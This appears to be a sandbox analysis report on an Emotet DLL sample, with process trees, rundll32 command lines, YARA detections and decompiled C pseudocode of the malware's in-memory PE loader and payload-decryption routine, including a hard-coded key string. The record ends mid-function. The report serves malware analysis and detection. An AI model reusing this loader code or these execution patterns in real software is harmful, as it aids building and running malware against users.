General

Start time:	11:33:08
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\5o8zdV3GU3.dll,DllRegisterServer
Imagebase:	0x1a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.295420739.00000000025D0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.295926271.0000000004820000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.295834893.0000000004691000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.295905840.00000000047F1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.295970010.0000000004980000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.295742622.0000000004580000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.295801770.0000000004660000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.295884974.00000000047C0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.295946412.0000000004851000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.295994852.00000000049B1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.295767081.00000000045B1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.295442330.0000000002601000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5140 Parent PID: 572

General

Start time:	11:33:08
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k unistacksvcgroup
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6476 Parent PID: 7140

General

Start time:	11:33:09
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",DllRegisterServer
Imagebase:	0x1a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6428 Parent PID: 7156

General

Start time:	11:33:09
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",DllRegisterServer
Imagebase:	0x1a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000C.00000002.322196530.00000000046F1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000C.00000002.322096907.0000000004590000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000C.00000002.322237408.00000000047A0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000C.00000002.322126344.00000000045C1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000C.00000002.322324942.0000000004831000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000C.00000002.322265167.00000000047D1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000C.00000002.321908815.0000000003FF1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000C.00000002.322168517.00000000046C0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000C.00000002.321798721.00000000025C0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000C.00000002.322291454.0000000004800000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 6440 Parent PID: 572

General

Start time:	11:33:09
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 6416 Parent PID: 572

General

Start time:	11:33:11
Start date:	14/01/2022
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff6cab20000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5032 Parent PID: 6076

General

Start time:	11:33:12
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mumgmtegektiykh\kztyzxlvaam.cuq",PuybGev
Imagebase:	0x1a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000F.00000002.299662672.0000000004B31000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000F.00000002.299581696.0000000003240000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 6568 Parent PID: 572

General

Start time:	11:33:12
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 4008 Parent PID: 5032

General

Start time:	11:33:13
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Mumgmtegektiykh\kztyzxlvaam.cuq",DllRegisterServer
Imagebase:	0x1a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5028 Parent PID: 572

General

Start time:	11:33:19
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 492 Parent PID: 572

General

Start time:	11:33:31
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 4104 Parent PID: 572

General

Start time:	11:33:46
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5692 Parent PID: 572

General

Start time:	11:33:55
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 4476 Parent PID: 6568

General

Start time:	11:34:13
Start date:	14/01/2022
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff6b0e70000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 640 Parent PID: 4476

General

Start time:	11:34:13
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: regsvr32.exe PID: 7140 Parent PID: 7012 regsvr32.exeCOMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	5.8%
Signature Coverage:	12.9%
Total number of Nodes:	325
Total number of Limit Nodes:	22

Executed Functions

Function 0423EFDD, Relevance: 12.9, Strings: 10, Instructions: 360
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

yY, xrefs: 0423F270
y!Nt, xrefs: 0423F2C2
<T, xrefs: 0423F137
(@, xrefs: 0423F11B
t[, xrefs: 0423F01B
7b>, xrefs: 0423F4D8
yWS, xrefs: 0423F2CD
|t, xrefs: 0423F1F8
HA^, xrefs: 0423F126
_s, xrefs: 0423F2E2

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: |t$(@$7b>$<T$HA^$_s$t[$y!Nt$yWS$yY
API String ID: 0-3414766599
Opcode ID: 42745cabcde8568b4b01e43989f99ce0e1df4d1c537b53c1b1b7e1744e2d95a4
Instruction ID: 18c015b5d6fbaa73c86c871af9f7d4478f16bc593e8ae6e759ebd193e5f17ba9
Opcode Fuzzy Hash: 42745cabcde8568b4b01e43989f99ce0e1df4d1c537b53c1b1b7e1744e2d95a4
Instruction Fuzzy Hash: 250212B16183819FD368CF21C58AA5BBBF2FBC5358F10890DE2D986260D7B59949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 042385FF, Relevance: 5.1, Strings: 4, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[, xrefs: 0423871C
Y, xrefs: 04238715
R[+, xrefs: 0423863A
v@, xrefs: 04238758

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: [$R[+$Y$v@
API String ID: 963392458-1276245682
Opcode ID: efe08f301ab2b251a86e33dfee0dd2d26676926c88cc055a74a7a241cd428695
Instruction ID: b62a2b04b1a330e2e816d15093878a05d123004976b31f95f1ea522d8c08d517
Opcode Fuzzy Hash: efe08f301ab2b251a86e33dfee0dd2d26676926c88cc055a74a7a241cd428695
Instruction Fuzzy Hash: 6F615272D10209EFCF08DFE1D94A9EEBBB5FB48304F208059E811BA250D3B56A55CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 10002900, Relevance: 22.8, APIs: 15, Instructions: 331
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E10002900(intOrPtr __ecx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v8;
				void* _v12;
				signed short* _v16;
				void* _v20;
				void* _v24;
				long _v28;
				signed int _v32;
				intOrPtr _v64;
				char _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr* _v80;
				intOrPtr _v84;
				void* _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				void* _t180;
				void* _t191;
				void* _t198;
				void* _t202;
				intOrPtr _t209;
				void* _t220;
				intOrPtr _t269;
				intOrPtr _t278;
				intOrPtr _t326;

				_v100 = __ecx;
				_v72 = 0;
				_v20 = 0;
				if(E10001FE0(_v100, _a8, 0x40) != 0) {
					_v16 = _a4;
					if(( *_v16 & 0x0000ffff) == 0x5a4d) {
						_t10 =  &(_v16[0x1e]); // 0x47e81005
						if(E10001FE0(_v100, _a8,  *_t10 + 0xf8) != 0) {
							_t15 =  &(_v16[0x1e]); // 0x47e81005
							_v80 = _a4 +  *_t15;
							if( *_v80 == 0x4550) {
								if(( *(_v80 + 4) & 0x0000ffff) == 0x14c) {
									if(( *(_v80 + 0x38) & 0x00000001) == 0) {
										_v84 = _v80 + ( *(_v80 + 0x14) & 0x0000ffff) + 0x18;
										_v32 =  *(_v80 + 0x38);
										_v12 = 0;
										while(_v12 < ( *(_v80 + 6) & 0x0000ffff)) {
											if( *((intOrPtr*)(_v84 + 0x10)) != 0) {
												_v88 =  *((intOrPtr*)(_v84 + 0xc)) +  *((intOrPtr*)(_v84 + 0x10));
											} else {
												_v88 =  *((intOrPtr*)(_v84 + 0xc)) + _v32;
											}
											if(_v88 > _v20) {
												_v20 = _v88;
											}
											_v12 = _v12 + 1;
											_v84 = _v84 + 0x28;
										}
										__imp__GetNativeSystemInfo( &_v68); // executed
										_v28 =  *((intOrPtr*)(_v80 + 0x50)) + _v64 - 0x00000001 &  !(_v64 - 1);
										_t65 = _v64 - 1; // -1
										if(_v28 == (_v20 + _t65 &  !(_v64 - 1))) {
											_t180 = VirtualAlloc( *(_v80 + 0x34), _v28, 0x3000, 4); // executed
											_v24 = _t180;
											if(_v24 != 0) {
												L26:
												_v72 = HeapAlloc(GetProcessHeap(), 8, 0x34);
												if(_v72 != 0) {
													 *((intOrPtr*)(_v72 + 4)) = _v24;
													asm("sbb edx, edx");
													 *(_v72 + 0x14) =  ~( ~( *(_v80 + 0x16) & 0x2000));
													 *((intOrPtr*)(_v72 + 0x1c)) = _a12;
													 *((intOrPtr*)(_v72 + 0x20)) = _a16;
													 *((intOrPtr*)(_v72 + 0x24)) = _a20;
													 *((intOrPtr*)(_v72 + 0x28)) = _a24;
													 *((intOrPtr*)(_v72 + 0x30)) = _v64;
													if(E10001FE0(_v100, _a8,  *(_v80 + 0x54)) != 0) {
														_t191 = VirtualAlloc(_v24,  *(_v80 + 0x54), 0x1000, 4); // executed
														_v8 = _t191;
														E10001E60(_v8, _v16,  *(_v80 + 0x54));
														_t115 =  &(_v16[0x1e]); // 0x47e81005
														 *_v72 = _v8 +  *_t115;
														 *((intOrPtr*)( *_v72 + 0x34)) = _v24;
														_t198 = E10002010(_v100, _a4, _a8, _v80, _v72); // executed
														if(_t198 != 0) {
															_t269 =  *((intOrPtr*)( *_v72 + 0x34)) -  *(_v80 + 0x34);
															_v76 = _t269;
															if(_t269 == 0) {
																 *((intOrPtr*)(_v72 + 0x18)) = 1;
															} else {
																 *((intOrPtr*)(_v72 + 0x18)) = E10002500(_v100, _v72, _v76);
															}
															if(E10002670(_v100, _v72) != 0) {
																_t202 = E10002300(_v100, _v72); // executed
																if(_t202 != 0) {
																	if(E10002480(_v100, _v72) != 0) {
																		if( *((intOrPtr*)( *_v72 + 0x28)) == 0) {
																			 *(_v72 + 0x2c) = 0;
																			L49:
																			return _v72;
																		}
																		if( *(_v72 + 0x14) == 0) {
																			 *(_v72 + 0x2c) = _v24 +  *((intOrPtr*)( *_v72 + 0x28));
																			L47:
																			goto L49;
																		}
																		_v96 = _v24 +  *((intOrPtr*)( *_v72 + 0x28));
																		_t209 =  *0x10058ed8; // 0x0
																		_t278 =  *0x10058ed4; // 0x1
																		_t326 =  *0x10058ed0; // 0x10000000
																		_v92 = _v96(_t326, _t278, _t209);
																		if(_v92 != 0) {
																			 *((intOrPtr*)(_v72 + 0x10)) = 1;
																			goto L47;
																		}
																		SetLastError(0x45a);
																		L50:
																		E10002EC0(_v100, _v72);
																		return 0;
																	}
																	goto L50;
																}
																goto L50;
															}
															goto L50;
														}
														goto L50;
													}
													goto L50;
												}
												VirtualFree(_v24, 0, 0x8000);
												SetLastError(0xe);
												return 0;
											}
											_t220 = VirtualAlloc(0, _v28, 0x3000, 4); // executed
											_v24 = _t220;
											if(_v24 != 0) {
												goto L26;
											}
											SetLastError(0xe);
											return 0;
										}
										SetLastError(0xc1);
										return 0;
									}
									SetLastError(0xc1);
									return 0;
								}
								SetLastError(0xc1);
								return 0;
							}
							SetLastError(0xc1);
							return 0;
						}
						return 0;
					}
					SetLastError(0xc1);
					return 0;
				}
				return 0;
			}

0x10002906
0x10002909
0x10002910
0x10002927
0x10002933
0x10002941
0x10002958
0x10002970
0x1000297f
0x10002982
0x1000298e
0x100029af
0x100029cc
0x100029ee
0x100029f7
0x100029fa
0x10002a15
0x10002a28
0x10002a44
0x10002a2a
0x10002a33
0x10002a33
0x10002a4d
0x10002a52
0x10002a52
0x10002a09
0x10002a12
0x10002a12
0x10002a5b
0x10002a78
0x10002a81
0x10002a92
0x10002ab8
0x10002abe
0x10002ac5
0x10002af2
0x10002b03
0x10002b0a
0x10002b32
0x10002b44
0x10002b4b
0x10002b54
0x10002b5d
0x10002b66
0x10002b6f
0x10002b78
0x10002b90
0x10002bae
0x10002bb4
0x10002bc6
0x10002bd4
0x10002bda
0x10002be4
0x10002bfa
0x10002c01
0x10002c18
0x10002c1b
0x10002c1e
0x10002c3b
0x10002c20
0x10002c33
0x10002c33
0x10002c50
0x10002c63
0x10002c6a
0x10002c84
0x10002c96
0x10002d00
0x10002d07
0x00000000
0x10002d07
0x10002c9f
0x10002cf8
0x10002cfb
0x00000000
0x10002cfb
0x10002cac
0x10002caf
0x10002cb5
0x10002cbc
0x10002cc6
0x10002ccd
0x10002ce1
0x00000000
0x10002ce1
0x10002cd4
0x10002d0c
0x10002d13
0x00000000
0x10002d18
0x00000000
0x10002c86
0x00000000
0x10002c6c
0x00000000
0x10002c52
0x00000000
0x10002c03
0x00000000
0x10002b92
0x10002b17
0x10002b1f
0x00000000
0x10002b25
0x10002ad4
0x10002ada
0x10002ae1
0x00000000
0x00000000
0x10002ae5
0x00000000
0x10002aeb
0x10002a99
0x00000000
0x10002a9f
0x100029d3
0x00000000
0x100029d9
0x100029b6
0x00000000
0x100029bc
0x10002995
0x00000000
0x1000299b
0x00000000
0x10002972
0x10002948
0x00000000
0x1000294e
0x00000000

APIs

Part of subcall function 10001FE0: SetLastError.KERNEL32(0000000D,?,?,10002925,10008AC6,00000040), ref: 10001FF1

SetLastError.KERNEL32(000000C1,10008AC6,00000040), ref: 10002948

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 08cff93c7344199116f568f774659ccae89e30fc42bc807c3f2613e3b5310ed8
Instruction ID: 2ef2df373ea658209f5af2a718a6df98ca9e1c1927523c70ceffa034f4820264
Opcode Fuzzy Hash: 08cff93c7344199116f568f774659ccae89e30fc42bc807c3f2613e3b5310ed8
Instruction Fuzzy Hash: 01E1F874A01219EFEB04CF94C994E9EB7B2FF88384F208559E905AB399D770AD46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 100088E0, Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 131
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E100088E0(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HWND__* _v8;
				void* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct HWND__* _v28;
				struct HWND__* _v32;
				long _v36;
				int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void* __ebp;
				void* _t38;
				long _t45;
				long _t47;
				intOrPtr _t56;
				void* _t63;
				intOrPtr _t68;

				_t79 = __esi;
				_t78 = __edi;
				_t64 = __ebx;
				_v56 = _a8;
				 *0x10058ed0 = _a4;
				_t72 = _a8;
				 *0x10058ed4 = _a8;
				 *0x10058ed8 = _a12;
				_v8 = 0;
				_v36 = 0;
				_v28 = 0;
				_v32 = 0;
				_v12 = 0;
				_t38 = E10008860(__eflags); // executed
				if(_t38 != 0) {
					_push(0x10029b4c);
					E1001771B(__ebx, _t72, __edi, __esi, __eflags);
					return 0;
				}
				 *0x10056f08 = 0;
				 *0x10056f0c = 0;
				 *0x10056f10 = 0;
				 *0x10056f18 = 0;
				 *0x10056f14 = 0;
				_v40 = 0x44368d;
				_v52 = 0x3f8fc5;
				_v20 = 0x3b272b;
				_v24 = 0x2feb60;
				_v44 = 0xdd3c;
				_v48 = 0x47c;
				_v36 = 0x24e00;
				_v28 = E10006170(L"kernel32.dll");
				_v32 = E10006170(L"ntdll.dll");
				 *0x10058eb0 = E10006D50(_v28, 0x70e66e6b);
				 *0x10058eb8 = E10006D50(_v28, 0x579606ae);
				_t95 =  *0x10058eb8;
				if( *0x10058eb8 == 0) {
					_t45 = E10017716(0x10029b18);
					_t47 = E10017716("8192") | 0x00001000;
					__eflags = _t47;
					_v12 = VirtualAlloc(0, _v36, _t47, _t45);
				} else {
					_t63 =  *0x10058eb8(0xffffffff, 0, _v36, E10017716("8192") | 0x00001000, E10017716(0x10029b18), 0); // executed
					_v12 = _t63;
				}
				E10016A10(_t64, _t78, _t79, _v12, 0x10032098, _v36);
				_t68 =  *0x10056f04; // 0x730f
				_v16 = E1001703B(_t64, _v36, _t78, _t79, _t68);
				E10002FA0(_t95, _v16, "vzyxQQjtnPpM1kMtP2^c)toAOgGzJnA(x4n)mZV?Zgqbqls>&28Kb303hUncVaad@?N*A%W2eBhDNd+m_Bl2cFznqh*vrDpHPGj%?_!pbLp", 0x6c);
				E10004F00(_v16, _v12, _v36);
				_t56 = E10002D20(0x10058ebc, _v12, _v36); // executed
				 *0x10058edc = _t56;
				ShowWindow(0, _v40);
				return 1;
			}

0x100088e0
0x100088e0
0x100088e0
0x100088e9
0x100088ef
0x100088f5
0x100088f8
0x10008901
0x10008906
0x1000890d
0x10008914
0x1000891b
0x10008922
0x10008929
0x10008930
0x10008966
0x1000896b
0x00000000
0x10008973
0x10008932
0x1000893c
0x10008946
0x10008950
0x1000895a
0x1000897a
0x10008981
0x10008988
0x1000898f
0x10008996
0x1000899d
0x100089a4
0x100089b8
0x100089c8
0x100089dc
0x100089f2
0x100089f7
0x100089fe
0x10008a3b
0x10008a51
0x10008a51
0x10008a63
0x10008a00
0x10008a2b
0x10008a31
0x10008a31
0x10008a73
0x10008a7b
0x10008a8a
0x10008a98
0x10008aac
0x10008ac1
0x10008ac6
0x10008ad1
0x00000000

APIs

Part of subcall function 10008860: _malloc.LIBCMT ref: 1000886B

_printf.LIBCMT ref: 1000896B
VirtualAllocExNuma.KERNELBASE(000000FF,00000000,00024E00,00000000,00000000,00000000), ref: 10008A2B
VirtualAlloc.KERNEL32(00000000,00024E00,00000000,00000000), ref: 10008A5D
_malloc.LIBCMT ref: 10008A82
ShowWindow.USER32(00000000,0044368D,00000000,00024E00), ref: 10008AD1

Strings

`/, xrefs: 1000898F
kernel32.dll, xrefs: 100089AB
vzyxQQjtnPpM1kMtP2^c)toAOgGzJnA(x4n)mZV?Zgqbqls>&28Kb303hUncVaad@?N*A%W2eBhDNd+m_Bl2cFznqh*vrDpHPGj%?_!pbLp, xrefs: 10008A8F
+';, xrefs: 10008988
8192, xrefs: 10008A10, 10008A44
ntdll.dll, xrefs: 100089BB

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: AllocVirtual_malloc$NumaShowWindow_printf
String ID: +';$8192$`/$kernel32.dll$ntdll.dll$vzyxQQjtnPpM1kMtP2^c)toAOgGzJnA(x4n)mZV?Zgqbqls>&28Kb303hUncVaad@?N*A%W2eBhDNd+m_Bl2cFznqh*vrDpHPGj%?_!pbLp
API String ID: 1487653210-3670691644
Opcode ID: 230bbdfcd20e835c4d7365e9bc9cc9309c602f396e76a36ffbf0d77b2387037d
Instruction ID: 74e036033439e47f0f6271ee42a165f027743cdfe4c2c4d01037afcb8f86e406
Opcode Fuzzy Hash: 230bbdfcd20e835c4d7365e9bc9cc9309c602f396e76a36ffbf0d77b2387037d
Instruction Fuzzy Hash: FE5141F5D00214AFEB00CF90EC96BAE77B4FB48344F144528E909BB345E775A6448BA2

Uniqueness

Uniqueness Score: -1.00%

Function 10013A9B, Relevance: 16.6, APIs: 11, Instructions: 103
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E10013A9B() {
				struct _CRITICAL_SECTION* _v4;
				char _v28;
				char _v36;
				char _v44;
				intOrPtr _v56;
				void* __ebx;
				intOrPtr __ecx;
				signed int __edi;
				void* __esi;
				void* __ebp;
				struct _CRITICAL_SECTION* _t39;
				intOrPtr _t40;
				void* _t41;
				long _t44;
				void* _t45;
				signed int* _t51;
				intOrPtr _t64;
				long _t68;
				void* _t69;
				void* _t70;
				signed int _t72;
				intOrPtr _t78;
				signed int _t82;
				void* _t86;
				signed int _t88;
				void* _t90;
				void* _t91;
				void* _t93;

				_push(_t72);
				_push(_t69);
				_push(_t88);
				_t86 = _t72;
				_t1 = _t86 + 0x1c; // 0x1005aaa8
				_t39 = _t1;
				_v4 = _t39;
				EnterCriticalSection(_t39);
				_t3 = _t86 + 4; // 0x20
				_t40 =  *_t3;
				_t4 = _t86 + 8; // 0x3
				_t82 =  *_t4;
				if(_t82 >= _t40) {
					L7:
					_t82 = 1;
					__eflags = _t40 - 1;
					if(_t40 <= 1) {
						L12:
						_t21 = _t40 + 0x20; // 0x40
						_t88 = _t21;
						_t22 = _t86 + 0x10; // 0x2644820
